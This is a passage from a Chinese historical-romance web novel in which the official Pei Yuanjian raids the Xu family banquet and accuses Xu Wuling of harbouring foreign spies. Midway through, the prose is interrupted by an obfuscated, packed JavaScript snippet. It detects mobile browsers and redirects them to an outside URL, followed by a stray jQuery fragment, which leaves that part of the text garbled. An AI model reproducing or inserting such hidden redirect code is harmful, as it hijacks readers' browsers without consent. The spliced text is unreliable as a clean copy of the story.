只不过手颤这种微不足道的小事,竟然也值得如此郑重的道歉,未免小题大做。
她出身商户,本就对这些“名门”“世家”的规矩嗤之以鼻,只觉得迂腐,甚至她曾听说,不过去外出宴会时妻子比丈夫多说了一个字,便被罚抄写《女诫》三百,禁足半年,严苛至此。
她是无论如何也学不会的,不过却没有说出来,而是自然而然夸奖起谢夫人出自名门,言传身教连世子侧夫人也如此知礼明仪,实为表范,谢府教导有方之类。
姜回侧头,意料之中见到谢夫人面色笑意更深。
姜回脸上笑意也深了深。
就在此时,一人匆匆走来,走到裴元俭身边附耳说了什么,先前还与徐太尉相谈甚欢,推杯换盏的裴元俭脸色瞬变。
而后冷冷抬眸道:“来人,徐无陵窝藏外邦奸细,证据确凿,陛下有令,徐家上下一律秋后处斩,牵涉官员不论大小黥刺流放,若遇反抗,当场格杀。”
数十持刀兵侍闯入宴会,亮出剑光,吓得一众宾客狼狈失色。
酒杯倾倒,条案翻覆。
“裴大人,这是怎么回事?”徐无陵强撑着没有大喊大叫,“今日是我徐家的宴会,我徐家虽不是盛京鼎盛煊赫之家,却也容不得被人这般羞辱。”
“徐大人方才没有听清吗?”裴元俭放下手中芙蓉花金盏,空置的酒杯绕在指尖滴溜溜转了一圈,映出一双似笑非笑的无情眼。
“本官奉旨,抄家灭族。”
朱真真一把推倒屏风,踏过来走到院中,沉声道:“裴大人,我徐家上下恭恭敬敬迎你入府,奉你为座上宾。却不曾想,你竟然反戈一击,在我徐家宴会抄我全族。若你拿不出证据,我徐家绝不与你善罢甘休!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027208|143467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“押上来。”裴元俭道。
“是。”薛揆道。
很快,方才表演的舞姬被侍卫押上来,薛揆上前一步刚硬开口:“徐大人,这些舞姬都来自和我北朝水火不容的回纥族,且抓捕时,她们正在妄图偷盗边疆堪舆图。”
“徐大人千万不要说不知情。”薛殷眼神凌厉,看了一眼维护夫君的徐夫人,有些同情,他也没想到,这位徐大人如此为风花雪月着迷:“毕竟其中一个,可是你养了数年备受宠爱的外室,连举家迁都仍不忘了她,更在今日借宴会名义让她光明正大入府只为与她一叙。”
“相思之情。”
“我不知情!”徐无陵对上其中一个舞姬的眼,看见她眼中闪躲,一瞬间什么都清楚了,他辩解道。
“我要见陛下。”
裴元俭拨正酒盏,漆黑的眼穿过人群与徐无陵直直对上:“看来徐大人还真是不到黄河心不死。薛揆。”
“是。”薛揆招了招手,一只木箱被抬上来,薛揆抽出长刀一把打开,露出里面整齐堆放的账簿。
“这些都是你丁忧返乡之后勾结外邦以高价买卖粮草的证据,